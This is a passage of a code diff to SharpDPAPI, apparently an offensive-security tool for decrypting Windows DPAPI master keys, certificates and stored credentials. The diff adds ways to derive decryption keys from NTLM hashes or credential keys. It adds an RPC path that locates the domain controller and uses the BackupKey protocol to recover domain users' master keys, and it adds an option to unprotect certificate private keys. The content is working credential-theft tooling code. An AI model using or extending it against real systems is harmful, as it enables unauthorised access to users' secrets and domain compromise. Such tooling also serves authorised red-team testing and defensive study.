hmac.ComputeHash(utf16sidfinal); + Console.WriteLine(" [X] CalculateKeys() error: either a /password, /ntlm, or /credkey must be supplied!"); + return null; } - return tmpkey3bytes; } } @@ -1947,7 +1996,7 @@ private static byte[] DerivePreKey(byte[] shaBytes, int algHash, byte[] salt, in private static byte[] DecryptAes256HmacSha512(byte[] shaBytes, byte[] final, byte[] encData) { - var aesCryptoProvider = new AesManaged(); + var aesCryptoProvider = new AesCryptoServiceProvider(); var ivBytes = new byte[16]; Array.Copy(final, 32, ivBytes, 0, 16); diff --git a/SharpDPAPI/lib/Triage.cs b/SharpDPAPI/lib/Triage.cs old mode 100755 new mode 100644 index 56f9511..b3c6f43 --- a/SharpDPAPI/lib/Triage.cs +++ b/SharpDPAPI/lib/Triage.cs @@ -1,7 +1,10 @@ using System; using System.Collections.Generic; +using System.DirectoryServices.ActiveDirectory; using System.IO; +using System.Net; using System.Security.AccessControl; +using System.Security.Cryptography; using System.Text; using System.Text.RegularExpressions; using System.Xml; @@ -10,8 +13,8 @@ namespace SharpDPAPI { public class Triage { - public static Dictionary TriageUserMasterKeys(byte[] backupKeyBytes, bool show = false, string computerName = "", - string password = "", string target = "", string userSID = "", bool dumpHash = false) + public static Dictionary TriageUserMasterKeys(byte[] backupKeyBytes = null, bool show = false, string computerName = "", + string password = "", string ntlm = "", string credkey = "", string target = "", string userSID = "", bool dumpHash = false, bool rpc = false) { // triage all *user* masterkeys we can find, decrypting if the backupkey is supplied @@ -24,8 +27,7 @@ public static Dictionary TriageUserMasterKeys(byte[] backupKeyBy // if we're targeting specific masterkey files if (((backupKeyBytes == null) || (backupKeyBytes.Length == 0)) && String.IsNullOrEmpty(userSID)) { - // currently only backupkey is supported - Console.WriteLine("[X] The masterkey '/target:X' option currently requires '/pvk:BASE64...' or '/password:X'"); + Console.WriteLine("[X] The masterkey '/target:X' option currently requires '/pvk:BASE64...', or a SID with a /password, /ntlm, or /credkey"); return mappings; } @@ -57,9 +59,9 @@ public static Dictionary TriageUserMasterKeys(byte[] backupKeyBy { plaintextMasterKey = Dpapi.DecryptMasterKey(masterKeyBytes, backupKeyBytes); } - else if (!String.IsNullOrEmpty(password) && !String.IsNullOrEmpty(userSID)) + else if (!String.IsNullOrEmpty(password) || !String.IsNullOrEmpty(ntlm) || !String.IsNullOrEmpty(credkey)) { - byte[] hmacBytes = Dpapi.CalculateKeys(password, "", true, userSID); + byte[] hmacBytes = Dpapi.CalculateKeys(password:password, ntlm:ntlm, credkey: credkey, userSID:userSID); plaintextMasterKey = Dpapi.DecryptMasterKeyWithSha(masterKeyBytes, hmacBytes); } else if (dumpHash) @@ -88,9 +90,9 @@ public static Dictionary TriageUserMasterKeys(byte[] backupKeyBy { plaintextMasterKey = Dpapi.DecryptMasterKey(masterKeyBytes, backupKeyBytes); } - else if (!String.IsNullOrEmpty(password)) + else if (!String.IsNullOrEmpty(password) || !String.IsNullOrEmpty(ntlm) || !String.IsNullOrEmpty(credkey)) { - byte[] hmacBytes = Dpapi.CalculateKeys(password, "", true, userSID); + byte[] hmacBytes = Dpapi.CalculateKeys(password: password, ntlm: ntlm, credkey: credkey, userSID: userSID); plaintextMasterKey = Dpapi.DecryptMasterKeyWithSha(masterKeyBytes, hmacBytes); } else if (dumpHash) @@ -161,11 +163,12 @@ public static Dictionary TriageUserMasterKeys(byte[] backupKeyBy { isDomain = true; // means use the NTLM of the user password instead of the SHA1 } + userSID = !String.IsNullOrEmpty(userSID) ? userSID : Dpapi.ExtractSidFromPath(file); } - if (!String.IsNullOrEmpty(password)) + if (!String.IsNullOrEmpty(password) || !String.IsNullOrEmpty(ntlm) || !String.IsNullOrEmpty(credkey)) { - hmacBytes = Dpapi.CalculateKeys(password, directory, isDomain); + hmacBytes = Dpapi.CalculateKeys(password: password, ntlm: ntlm, credkey: credkey, userSID: userSID, domain: isDomain); } foreach (var file in files) @@ -185,7 +188,7 @@ public static Dictionary TriageUserMasterKeys(byte[] backupKeyBy try { KeyValuePair plaintextMasterKey = default; - if (!String.IsNullOrEmpty(password)) + if (!String.IsNullOrEmpty(password) || !String.IsNullOrEmpty(ntlm) || !String.IsNullOrEmpty(credkey)) { plaintextMasterKey = Dpapi.DecryptMasterKeyWithSha(masterKeyBytes, hmacBytes); } @@ -195,9 +198,24 @@ public static Dictionary TriageUserMasterKeys(byte[] backupKeyBy } else if (dumpHash) { - userSID = !String.IsNullOrEmpty(userSID) ? userSID : Dpapi.ExtractSidFromPath(file); + userSID = Dpapi.ExtractSidFromPath(file); plaintextMasterKey = Dpapi.FormatHash(masterKeyBytes, userSID, isDomain ? 3 : 1); } + else if(rpc && isDomain) + { + DirectoryContext mycontext = new DirectoryContext(DirectoryContextType.Domain, System.Environment.UserDomainName); + DomainController dc = DomainController.FindOne(mycontext); + IPAddress DCIPAdress = IPAddress.Parse(dc.IPAddress); + + var bkrp = new Bkrp(); + bkrp.Initialize(DCIPAdress.ToString(), System.Environment.UserDomainName); + var keyBytes = bkrp.BackuprKey(SharpDPAPI.Dpapi.GetDomainKey(masterKeyBytes)); + var guid = $"{{{Encoding.Unicode.GetString(masterKeyBytes, 12, 72)}}}"; + var sha1 = new SHA1Managed(); + var masterKeySha1 = sha1.ComputeHash(keyBytes); + var masterKeySha1Hex = BitConverter.ToString(masterKeySha1).Replace("-", ""); + mappings.Add(guid, masterKeySha1Hex); + } if (!plaintextMasterKey.Equals(default(KeyValuePair))) mappings.Add(plaintextMasterKey.Key, plaintextMasterKey.Value); @@ -220,7 +238,7 @@ public static Dictionary TriageUserMasterKeys(byte[] backupKeyBy } } - if (!String.IsNullOrEmpty(password)) + if (show) { if (mappings.Count == 0) { @@ -626,7 +644,7 @@ public static void TriageCredFile(string credFilePath, Dictionary MasterKeys, bool cng = false, bool alwaysShow = false) + public static void TriageCertFile(string certFilePath, Dictionary MasterKeys, bool cng = false, bool alwaysShow = false, bool unprotect = false) { // triage a certificate file @@ -635,7 +653,7 @@ public static void TriageCertFile(string certFilePath, Dictionary MasterKeys, bool cng = false, bool alwaysShow = false) + public static void TriageCertFolder(string folder, Dictionary MasterKeys, bool cng = false, bool alwaysShow = false, bool unprotect = false) { // triage a specific certificate folder if (!Directory.Exists(folder)) @@ -690,7 +708,7 @@ public static void TriageCertFolder(string folder, Dictionary Ma @"[0-9A-Fa-f]{32}[_][0-9A-Fa-f]{8}[-][0-9A-Fa-f]{4}[-][0-9A-Fa-f]{4}[-][0-9A-Fa-f]{4}[-][0-9A-Fa-f]{12}") ) { - TriageCertFile(file, MasterKeys, cng, alwaysShow); + TriageCertFile(file, MasterKeys, cng, alwaysShow, unprotect); } } } @@ -734,7 +752,7 @@ public static void TriageSystemCerts(Dictionary MasterKeys, bool } } - public static void TriageUserCerts(Dictionary MasterKeys, string computerName = "", bool showall = false) + public static void TriageUserCerts(Dictionary MasterKeys, string computerName = "", bool showall = false, bool unprotect = false) { string[] userDirs; if (!String.IsNullOrEmpty(computerName)) @@ -778,7 +796,7 @@ public static void TriageUserCerts(Dictionary MasterKeys, string foreach (var directory in directories) { - TriageCertFolder(directory, MasterKeys, false, showall); + TriageCertFolder(directory, MasterKeys, false, showall, unprotect); } var userCngKeysPath = $"{dir}\\AppData\\Roaming\\Microsoft\\Crypto\\Keys\\"; @@ -786,7 +804,7 @@ public static void TriageUserCerts(Dictionary MasterKeys, string if (!Directory.Exists(userCngKeysPath)) continue; - TriageCertFolder(userCngKeysPath, MasterKeys, true, showall); + TriageCertFolder(userCngKeysPath, MasterKeys, true, showall, unprotect); } } @@ -1201,4 +1219,4 @@ public static void TriageRDGFolder(Dictionary MasterKeys, string } } } -} \ No newline at end of file +}